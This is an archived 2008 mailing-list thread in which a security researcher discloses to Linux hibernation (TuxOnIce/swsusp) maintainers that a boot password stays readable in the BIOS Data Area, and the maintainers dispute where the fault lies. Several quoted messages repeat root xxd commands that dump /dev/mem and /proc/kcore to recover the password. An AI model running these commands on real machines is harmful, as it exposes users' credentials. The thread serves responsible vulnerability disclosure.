Skip to contentSkip to conversation

Vulnerability in Software Suspend 2 (all versions)

DISCUSSION Nigel Cunningham 4 participants 11 messages Jul 28, 2008 – Aug 18, 2008 4 messages not in the archive

lore
Share & tools
lore
#2 lore raw
In reply to a message not in the archive

Hi.

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

Regards,

Nigel

Quoted 148 lines · Jonathan Brossard

Version 1.0
October 1996
CERT(R) Coordination Center
Product Vulnerability Reporting Form

If you know of a vulnerability in a product, please complete this form and return it to [email protected]. We aren't able to acknowledge each report we receive; however, if we have additional questions, we will contact you for further information.

We prefer that any vulnerability information you
send to us be encrypted. We can support a shared DES
key or PGP. Contact the CERT staff for more information. The CERT PGP public key is available in

http://www.cert.org/pgp/cert_pgp_key.asc

Thanks, we appreciate your taking the time to report this vulnerability.

CONTACT INFORMATION
===============================================================================
Let us know who you are:

Name : Jonathan Brossard
E-mail : [email protected]
Phone / fax : +91-33-23242212
Affiliation and address: iViZ Technosolutions Pvt. Ltd., Kolkata,
India. http://www.ivizindia.com

Have you reported this to the vendor? [yes]

If so, please let us know whom you've contacted:

Date of your report : Mon Jul 28 13:57:44 IST 2008
Vendor contact name :
Vendor contact phone :
Vendor contact e-mail : [email protected]
[email protected] [email protected]
Vendor reference number :

If not, we encourage you to do so--vendors need to hear about
vulnerabilities from you as a customer.

POLICY INFO
===============================================================================
We encourage communication between vendors and their customers. When we forward a report to the vendor, we include the reporter's name and contact information unless you let us know otherwise.

If you want this report to remain anonymous, please check here:

___ Do not release my identity to your vendor contact.

TECHNICAL INFO
===============================================================================
If there is a CERT Vulnerability tracking number please put it here (otherwise leave blank): VU#______.

Please describe the vulnerability.
- ----------------------------------

The Linux kernel patch "Tux on ice" (previously called "software suspend 2") fails to sanitize the memory area where user input,
in particular passwords are read. Therefore, the passwords remain in plain text in RAM, after successfull restauration of the hibernated machine's
state.

What is the impact of this vulnerability?
- -----------------------------------------
(For example: local user can gain root/privileged access, intruders
can create root-owned files, denial of service attack, etc.)

a) What is the specific impact:

Plain text password disclosure of the authentication password.

b) How would you envision it being used in an attack scenario:

The attacker can use this password to reboot the computer, possibly to gain more privileges.

To your knowledge is the vulnerability currently being exploited?
- -----------------------------------------------------------------

    [no]

If there is an exploitation script available, please include it here.
- ---------------------------------------------------------------------

Just pick up one (trivial) exploit below :

root@blackbox:~# xxd -l 32 -s 0x041e  /dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e  /proc/kcore
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~#

Do you know what systems and/or configurations are vulnerable?
- -------------------------------------------------------------- [yes/no] (If yes, please list them below)

All versions.

Are you aware of any workarounds and/or fixes for this vulnerability?
- ---------------------------------------------------------------------

    [yes]

I provided a kernel patch to the owners of the project.

OTHER INFORMATION
===========================================================================
Is there anything else you would like to tell us?

You can indeed get back to us if you need more details :)

- --------
CERT and CERT Coordination Center are registered in the U.S. Patent and Trademark office.

#3 lore raw

Dear Nigel,

Quoted 2 lines

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

Yes it is.

Quoted 4 lines

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

We are talking about the password of tuxonice itself here...

Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) :

xxd -l 32 -s 0x041e /dev/mem

Quoted 3 lines

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

I did my best to find one on the site's website and ended up taking those of sourceforge.

Best regards,

Jonathan-

Quoted 171 lines · Nigel Cunningham

Hi.

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

Regards,

Nigel

Quoted 148 lines · Jonathan Brossard

Version 1.0
October 1996
CERT(R) Coordination Center
Product Vulnerability Reporting Form

If you know of a vulnerability in a product, please complete this form and return it to [email protected]. We aren't able to acknowledge each report we receive; however, if we have additional questions, we will contact you for further information.

We prefer that any vulnerability information you
send to us be encrypted. We can support a shared DES
key or PGP. Contact the CERT staff for more information. The CERT PGP public key is available in

http://www.cert.org/pgp/cert_pgp_key.asc

Thanks, we appreciate your taking the time to report this vulnerability.

CONTACT INFORMATION
===============================================================================
Let us know who you are:

Name : Jonathan Brossard
E-mail : [email protected]
Phone / fax : +91-33-23242212
Affiliation and address: iViZ Technosolutions Pvt. Ltd., Kolkata,
India. http://www.ivizindia.com

Have you reported this to the vendor? [yes]

If so, please let us know whom you've contacted:

Date of your report : Mon Jul 28 13:57:44 IST 2008
Vendor contact name :
Vendor contact phone :
Vendor contact e-mail : [email protected]
[email protected] [email protected]
Vendor reference number :

If not, we encourage you to do so--vendors need to hear about
vulnerabilities from you as a customer.

POLICY INFO
===============================================================================
We encourage communication between vendors and their customers. When we forward a report to the vendor, we include the reporter's name and contact information unless you let us know otherwise.

If you want this report to remain anonymous, please check here:

___ Do not release my identity to your vendor contact.

TECHNICAL INFO
===============================================================================
If there is a CERT Vulnerability tracking number please put it here (otherwise leave blank): VU#______.

Please describe the vulnerability.
- ----------------------------------

The Linux kernel patch "Tux on ice" (previously called "software suspend 2") fails to sanitize the memory area where user input,
in particular passwords are read. Therefore, the passwords remain in plain text in RAM, after successfull restauration of the hibernated machine's
state.

What is the impact of this vulnerability?
- -----------------------------------------
(For example: local user can gain root/privileged access, intruders
can create root-owned files, denial of service attack, etc.)

a) What is the specific impact:

Plain text password disclosure of the authentication password.

b) How would you envision it being used in an attack scenario:

The attacker can use this password to reboot the computer, possibly to gain more privileges.

To your knowledge is the vulnerability currently being exploited?
- -----------------------------------------------------------------

    [no]

If there is an exploitation script available, please include it here.
- ---------------------------------------------------------------------

Just pick up one (trivial) exploit below :

root@blackbox:~# xxd -l 32 -s 0x041e  /dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e  /proc/kcore
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~#

Do you know what systems and/or configurations are vulnerable?
- -------------------------------------------------------------- [yes/no] (If yes, please list them below)

All versions.

Are you aware of any workarounds and/or fixes for this vulnerability?
- ---------------------------------------------------------------------

    [yes]

I provided a kernel patch to the owners of the project.

OTHER INFORMATION
===========================================================================
Is there anything else you would like to tell us?

You can indeed get back to us if you need more details :)

- --------
CERT and CERT Coordination Center are registered in the U.S. Patent and Trademark office.

Signature · 23 lines
    Jonathan Brossard
    Security Research Engineer
    iViZ Techno Solutions Pvt. Ltd.
    Mobile: +91-9748772994

    Kolkata:
    iViZ Technolgy Solutions(P) Ltd
    c/o Erevmax Technologies (P) Ltd
    DLF IT Park,
    Tower-1, 12th Floor
    08 Major Arterial Road
    New Town, Rajarhat
    Kolkata- 700 156

    Kharagpur:
    iViZ Techno Solutions Pvt Ltd,
    School of Information Technology,
    Indian Institute of Technology,
    2nd Floor, Takshashila,
    Kharagpur 721302 West Bengal, India.
    Phone: +91-3222-282300 ext 4324

    Web page: http://www.ivizindia.com
#11 lore raw
In reply to a message not in the archive

Hi.

Quoted 3 lines · Jonathan Brossard

Hi Nigel,

Sorry for assuming (wrongly) that ppl in Switzerland all speak French ;)

Why do you think I'm in Switzerland? I'm actually a New Zealander, living in Australia.

Quoted 38 lines

In a nutshell, I discovered a new class of vulnerabilities that I will fully disclose at the Defcon security conference in August. It happens to affect your software, which I would like to help you fix before I go public. (Note : I have used your patch for quite a time, thanks for the good job ;)

The problem lies in a lack of sanitazation of the Bios Data Area after reading the password using BIOS interruptions (you don't have much choice at that early stage regarding the API anyway). Once the password is read, it remains in RAM for ever, and can be retreived by a (somehow) privileged user :

root@blackbox:~# xxd -l 32 -s 0x041e  /dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e  /proc/kcore
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~#

The patch was made against the latest vanilla kernel and checked under gentoo 2006 and Ubuntu Gutsy. It *should* work even if you don't have a standard 3Go/1Go user/kernel split. It simply sanitizes the RAM areas in question.

Quoted 6 lines

Like I mentioned previously, I would appreciate credits. If you chose to credit us for our work, you can quote :
Jonathan Brossard, [email protected], [email protected]

Feel free to contact me if you have any additional questions or feedback :)

Okay. As mentioned in the previous reply, I don't think this is a bug with TuxOnIce itself. If a BIOS data area needs clearing during resume, I would suggest that something like the ACPI device driver should be doing that, because if the memory needs clearing, it should need clearing irrespective of whether you've hibernated or not.

Regards,

Nigel

#12 lore raw

Dear Nigel,

Quoted 3 lines

Why do you think I'm in Switzerland? I'm actually a New Zealander,

living in Australia.

Nothing against aussies, the project was once uppon a time austed at the federal school of Lausane, which afaik is in Switzerland...

Quoted 5 lines

Okay. As mentioned in the previous reply, I don't think this is a bug with TuxOnIce itself. If a BIOS data area needs clearing during resume, I would suggest that something like the ACPI device driver should be doing that, because if the memory needs clearing, it should need clearing irrespective of whether you've hibernated or not.

Ok. I gave you the exploit. I gave you the explaination. I gave you the fix. Now, if you don't want to face the truth that you have a problem (why dont you just test the exploit ?) because you don't know how to use the BIOS API safely, that's fine : don't fix it, I don't really care.

Between : Can I quote you at my Defcon presentation ?

Regards,

Jonathan-

Quoted 71 lines · Nigel Cunningham

Hi.

Quoted 4 lines · Jonathan Brossard

Hi Nigel,

Sorry for assuming (wrongly) that ppl in Switzerland all speak French ;)

Why do you think I'm in Switzerland? I'm actually a New Zealander, living in Australia.

Quoted 38 lines

In a nutshell, I discovered a new class of vulnerabilities that I will fully disclose at the Defcon security conference in August. It happens to affect your software, which I would like to help you fix before I go public. (Note : I have used your patch for quite a time, thanks for the good job ;)

The problem lies in a lack of sanitazation of the Bios Data Area after reading the password using BIOS interruptions (you don't have much choice at that early stage regarding the API anyway). Once the password is read, it remains in RAM for ever, and can be retreived by a (somehow) privileged user :

root@blackbox:~# xxd -l 32 -s 0x041e  /dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem
000041e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e  /proc/kcore
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core
000141e: 7019 3405 731f 731f 7711 300b 7213 6420  p.4.s.s.w.0.r.d
000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000  ................
root@blackbox:~#

The patch was made against the latest vanilla kernel and checked under gentoo 2006 and Ubuntu Gutsy. It *should* work even if you don't have a standard 3Go/1Go user/kernel split. It simply sanitizes the RAM areas in question.

Quoted 7 lines

Like I mentioned previously, I would appreciate credits. If you chose to credit us for our work, you can quote :
Jonathan Brossard, [email protected], [email protected]

Feel free to contact me if you have any additional questions or feedback :)

Okay. As mentioned in the previous reply, I don't think this is a bug with TuxOnIce itself. If a BIOS data area needs clearing during resume, I would suggest that something like the ACPI device driver should be doing that, because if the memory needs clearing, it should need clearing irrespective of whether you've hibernated or not.

Regards,

Nigel

Signature · 23 lines
    Jonathan Brossard
    Security Research Engineer
    iViZ Techno Solutions Pvt. Ltd.
    Mobile: +91-9748772994

    Kolkata:
    iViZ Technolgy Solutions(P) Ltd
    c/o Erevmax Technologies (P) Ltd
    DLF IT Park,
    Tower-1, 12th Floor
    08 Major Arterial Road
    New Town, Rajarhat
    Kolkata- 700 156

    Kharagpur:
    iViZ Techno Solutions Pvt Ltd,
    School of Information Technology,
    Indian Institute of Technology,
    2nd Floor, Takshashila,
    Kharagpur 721302 West Bengal, India.
    Phone: +91-3222-282300 ext 4324

    Web page: http://www.ivizindia.com
#4 lore raw
In reply to Jonathan Brossard

Hi again.

Quoted 5 lines · Jonathan Brossard

Dear Nigel,

Quoted 2 lines

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

Quoted 8 lines

Yes it is.

Quoted 4 lines

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

We are talking about the password of tuxonice itself here...

TuxOnIce itself doesn't have any password support. Do you mean a password for encrypted swap or such like?

Quoted 6 lines

Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) :

xxd -l 32 -s 0x041e /dev/mem

Quoted 6 lines
Quoted 3 lines

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

I did my best to find one on the site's website and ended up taking those of sourceforge.

Hmm, you're right there. I'll address that shortly.

Regards,

Nigel

#5 lore raw

Dear Nigel,

Feel free to put me in my place if I am wrong here :

When you try to boot a tuxonice capable computer and restore the state of the computer using a hibernation file...

you are asked for a password, which is not the standard userland login prompt (for a imple reason : there is no kernel in memory at that time).
That password is part of tux on ice, right ?

Well, that password can be retreived from RAM !

Best regards,

Jonathan-

Quoted 48 lines · Nigel Cunningham

Hi again.

Quoted 9 lines · Jonathan Brossard

Dear Nigel,

Quoted 3 lines

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

Yes it is.

Quoted 7 lines
Quoted 5 lines

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

We are talking about the password of tuxonice itself here...

TuxOnIce itself doesn't have any password support. Do you mean a password for encrypted swap or such like?

Quoted 7 lines

Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) :

xxd -l 32 -s 0x041e /dev/mem

Quoted 7 lines
Quoted 4 lines

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

I did my best to find one on the site's website and ended up taking those of sourceforge.

Hmm, you're right there. I'll address that shortly.

Regards,

Nigel

Signature · 23 lines
    Jonathan Brossard
    Security Research Engineer
    iViZ Techno Solutions Pvt. Ltd.
    Mobile: +91-9748772994

    Kolkata:
    iViZ Technolgy Solutions(P) Ltd
    c/o Erevmax Technologies (P) Ltd
    DLF IT Park,
    Tower-1, 12th Floor
    08 Major Arterial Road
    New Town, Rajarhat
    Kolkata- 700 156

    Kharagpur:
    iViZ Techno Solutions Pvt Ltd,
    School of Information Technology,
    Indian Institute of Technology,
    2nd Floor, Takshashila,
    Kharagpur 721302 West Bengal, India.
    Phone: +91-3222-282300 ext 4324

    Web page: http://www.ivizindia.com
#13 lore raw
In reply to Jonathan Brossard

Hi.

Quoted 8 lines · Jonathan Brossard

Dear Nigel,

Quoted 3 lines

Why do you think I'm in Switzerland? I'm actually a New Zealander,

living in Australia.

Nothing against aussies, the project was once uppon a time austed at the federal school of Lausane, which afaik is in Switzerland...

Ah, okay. Now I'm with you. Yeah, the original author was Gabor Kuti. After Gabor, Florent took over and then I took over from Florent. Gabor and Florent have contributed for about 5 years, as far as I recall.

Quoted 10 lines
Quoted 5 lines

Okay. As mentioned in the previous reply, I don't think this is a bug with TuxOnIce itself. If a BIOS data area needs clearing during resume, I would suggest that something like the ACPI device driver should be doing that, because if the memory needs clearing, it should need clearing irrespective of whether you've hibernated or not.

Ok. I gave you the exploit. I gave you the explaination. I gave you the fix. Now, if you don't want to face the truth that you have a problem (why dont you just test the exploit ?) because you don't know how to use the BIOS API safely, that's fine : don't fix it, I don't really care.

I understand what you're saying, but I disagree with your diagnosis as to where the problem lies. If you're talking about a password for encrypted swap not being cleared (you haven't said what password you're talking about yet), then the problem is with the program that's asking you for the password, or the program that's using it (dmsetup?). The TuxOnIce kernel patch doesn't ask for passwords or know anything about where in memory passwords might be stored.

I'm a little confused by the fact that you're mentioning BIOS data and TuxOnIce asking for a password. Are you talking about some buffer from the BIOS that keypresses are stored in prior to being consumed by the kernel's input driver (oh yeah, the kernel _is_ running when TuxOnIce starts). If that's the case, your bug should perhaps be filed against the input driver.

Quoted 1 line

Between : Can I quote you at my Defcon presentation ?

Can we leave that question until we've sorted out what we're talking about? I'm not at all unwilling to deal with a problem, but right now I'm still trying to get clear in my head what the issue is.

Regards,

Nigel

#14 lore raw
Quoted 42 lines · Nigel Cunningham

Hi.

Quoted 8 lines · Jonathan Brossard

Dear Nigel,

Quoted 3 lines

Why do you think I'm in Switzerland? I'm actually a New Zealander,

living in Australia.

Nothing against aussies, the project was once uppon a time austed at the federal school of Lausane, which afaik is in Switzerland...

Ah, okay. Now I'm with you. Yeah, the original author was Gabor Kuti. After Gabor, Florent took over and then I took over from Florent. Gabor and Florent have contributed for about 5 years, as far as I recall.

Quoted 10 lines
Quoted 5 lines

Okay. As mentioned in the previous reply, I don't think this is a bug with TuxOnIce itself. If a BIOS data area needs clearing during resume, I would suggest that something like the ACPI device driver should be doing that, because if the memory needs clearing, it should need clearing irrespective of whether you've hibernated or not.

Ok. I gave you the exploit. I gave you the explaination. I gave you the fix. Now, if you don't want to face the truth that you have a problem (why dont you just test the exploit ?) because you don't know how to use the BIOS API safely, that's fine : don't fix it, I don't really care.

I understand what you're saying, but I disagree with your diagnosis as to where the problem lies. If you're talking about a password for encrypted swap not being cleared (you haven't said what password you're talking about yet), then the problem is with the program that's asking you for the password, or the program that's using it (dmsetup?). The TuxOnIce kernel patch doesn't ask for passwords or know anything about where in memory passwords might be stored.

I'm a little confused by the fact that you're mentioning BIOS data and TuxOnIce asking for a password. Are you talking about some buffer from the BIOS that keypresses are stored in prior to being consumed by the kernel's input driver (oh yeah, the kernel _is_ running when TuxOnIce starts). If that's the case, your bug should perhaps be filed against the input driver.

Quoted 5 lines
Quoted 1 line

Between : Can I quote you at my Defcon presentation ?

Can we leave that question until we've sorted out what we're talking about? I'm not at all unwilling to deal with a problem, but right now I'm still trying to get clear in my head what the issue is.

Yeah.

Jonathan, could you please describe _exactly_ what the problem is, what systems are affected (all of them, a subclass and if so, then which one), what the way to exploit the vulnerability is and why you think that the kernel should be responsible for preventing the attack from happening?

If you don't want to disclose the details publically, please send them to me and Nigel in private.

Thanks,
Rafael

#6 lore raw
In reply to Jonathan Brossard

Dear Jonathan,

Sorry for intervening so lately, but Nigel is right : those adresses are really out of date ;-)

Quoted 11 lines · Jonathan Brossard

Dear Nigel,

Feel free to put me in my place if I am wrong here :

When you try to boot a tuxonice capable computer and restore the state of the computer using a hibernation file...

you are asked for a password, which is not the standard userland login prompt (for a imple reason : there is no kernel in memory at that time).
That password is part of tux on ice, right ?

AFAIK this is not part of swsusp nor tuxonice. I'm still using swsusp, although not contributing any more, and I don't have any password to type in my configuration.

xxd -l 32 -s 0x041e /dev/mem
000041e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000042e: 0000 0000 0000 0000 0000 0000 0000 0000 ................

Quoted 2 lines

Well, that password can be retreived from RAM !

Password retrieved from RAM is a well known issue :) From your description, you seem to say that the kernel is not running at the time you seize the password. This indicates for sure that tuxonice is not involved, since it is part of kernel. The way tuxonice works is launching the kernel as usual and interrupt normal boot as soon as possible if a frozen image is detected.

What you may have in your case is either a hardware password, managed by the BIOS, or a password used to encrypt swap (and swsusp image) as described in swsusp-dmcrypt.txt. Now, I agree with Nigel that this is not part of swsusp, but it may be a bug in the configuration of dmcrypt.

You should also note that from a security point of view, the security model is not at all circumvented. You need to have a root access to /dev/mem from a resumed session, to obtain the password, and even if the password was erased (which should be done anyway, it's a good practice) you still have the ciphering key of the swap somewhere in memory.

Anyway, thank you for the report. Please feel free to exchange more information in order to identify more precisely the problem, and specially the configuration you use.

Sincerely yours,

Florent Chabaud

Quoted 46 lines

Best regards,

Jonathan-

Quoted 40 lines · Nigel Cunningham

Hi again.

Quoted 9 lines · Jonathan Brossard

Dear Nigel,

Quoted 3 lines

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

Yes it is.

Quoted 7 lines
Quoted 5 lines

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

We are talking about the password of tuxonice itself here...

TuxOnIce itself doesn't have any password support. Do you mean a password for encrypted swap or such like?

Quoted 14 lines

Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) :

xxd -l 32 -s 0x041e /dev/mem

Quoted 4 lines

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

I did my best to find one on the site's website and ended up taking those of sourceforge.

Quoted 35 lines
Quoted 8 lines

Hmm, you're right there. I'll address that shortly.

Regards,

Nigel

Signature · 23 lines
    Jonathan Brossard
    Security Research Engineer
    iViZ Techno Solutions Pvt. Ltd.
    Mobile: +91-9748772994

    Kolkata:
    iViZ Technolgy Solutions(P) Ltd
    c/o Erevmax Technologies (P) Ltd
    DLF IT Park,
    Tower-1, 12th Floor
    08 Major Arterial Road
    New Town, Rajarhat
    Kolkata- 700 156

    Kharagpur:
    iViZ Techno Solutions Pvt Ltd,
    School of Information Technology,
    Indian Institute of Technology,
    2nd Floor, Takshashila,
    Kharagpur 721302 West Bengal, India.
    Phone: +91-3222-282300 ext 4324

    Web page: http://www.ivizindia.com

Florent Chabaud
gpg: 28C9 9E1A 5507 5574 EDE6 2E8F 2B37 D83F 95C8 1C3C
http://www.carva.org/florent.chabaud | [email protected]

#7 lore raw

Dear Florent and Nigel,

I agree the problem lies in the dmcrypt module, but I couldn't replicate the bug on the latest kernels (I know 2.6.16 was vulnerable, so something must have been patched in the meantime). I am in Defcon right now and will try to verify those assumptions sometime next week.

The problem might be known or whatever, but most disk encryption software are affected. I had lunch with the Bitlocker team from Microsoft today itself, and they find the bug amazing... so maybe you'd like to have a look at my paper sometime (I can leak it to you if you want, or just ask Nigel).

Regarding the addresses, you might want to update the sourceforge page, this is the first place where ppl look for project mainteners...

Thanks for your reply,
Best regards,

Jonathan-

Quoted 144 lines · On Sat, Aug 9, 2008 at 7:19 PM, <[email protected]> wrote:

Dear Jonathan,

Sorry for intervening so lately, but Nigel is right : those adresses are really out of date ;-)

Quoted 11 lines · Jonathan Brossard

Dear Nigel,

Feel free to put me in my place if I am wrong here :

When you try to boot a tuxonice capable computer and restore the state of the computer using a hibernation file...

you are asked for a password, which is not the standard userland login prompt (for a imple reason : there is no kernel in memory at that time).
That password is part of tux on ice, right ?

AFAIK this is not part of swsusp nor tuxonice. I'm still using swsusp, although not contributing any more, and I don't have any password to type in my configuration.

xxd -l 32 -s 0x041e /dev/mem
000041e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000042e: 0000 0000 0000 0000 0000 0000 0000 0000 ................

Quoted 2 lines

Well, that password can be retreived from RAM !

Password retrieved from RAM is a well known issue :) From your description, you seem to say that the kernel is not running at the time you seize the password. This indicates for sure that tuxonice is not involved, since it is part of kernel. The way tuxonice works is launching the kernel as usual and interrupt normal boot as soon as possible if a frozen image is detected.

What you may have in your case is either a hardware password, managed by the BIOS, or a password used to encrypt swap (and swsusp image) as described in swsusp-dmcrypt.txt. Now, I agree with Nigel that this is not part of swsusp, but it may be a bug in the configuration of dmcrypt.

You should also note that from a security point of view, the security model is not at all circumvented. You need to have a root access to /dev/mem from a resumed session, to obtain the password, and even if the password was erased (which should be done anyway, it's a good practice) you still have the ciphering key of the swap somewhere in memory.

Anyway, thank you for the report. Please feel free to exchange more information in order to identify more precisely the problem, and specially the configuration you use.

Sincerely yours,

Florent Chabaud

Quoted 21 lines

Best regards,

Jonathan-

Quoted 15 lines · Nigel Cunningham

Hi again.

Quoted 11 lines · Jonathan Brossard

Dear Nigel,

Quoted 3 lines

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

Yes it is.

Quoted 2 lines

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted

format

Quoted 13 lines
Quoted 13 lines
Quoted 5 lines
Quoted 3 lines

or not. Bugs should be filed against applications that are storing passwords in plain text.

We are talking about the password of tuxonice itself here...

TuxOnIce itself doesn't have any password support. Do you mean a password for encrypted swap or such like?

Quoted 3 lines

Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) :

Quoted 7 lines
Quoted 7 lines
Quoted 7 lines

xxd -l 32 -s 0x041e /dev/mem

Quoted 3 lines

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected]

.

Quoted 38 lines
Quoted 5 lines
Quoted 4 lines
Quoted 1 line

I did my best to find one on the site's website and ended up taking those of sourceforge.

Quoted 8 lines

Hmm, you're right there. I'll address that shortly.

Regards,

Nigel

--
Jonathan Brossard
Security Research Engineer
iViZ Techno Solutions Pvt. Ltd.
Mobile: +91-9748772994

Kolkata:
iViZ Technolgy Solutions(P) Ltd
c/o Erevmax Technologies (P) Ltd
DLF IT Park,
Tower-1, 12th Floor
08 Major Arterial Road
New Town, Rajarhat
Kolkata- 700 156

Kharagpur:
iViZ Techno Solutions Pvt Ltd,
School of Information Technology,
Indian Institute of Technology,
2nd Floor, Takshashila,
Kharagpur 721302 West Bengal, India.
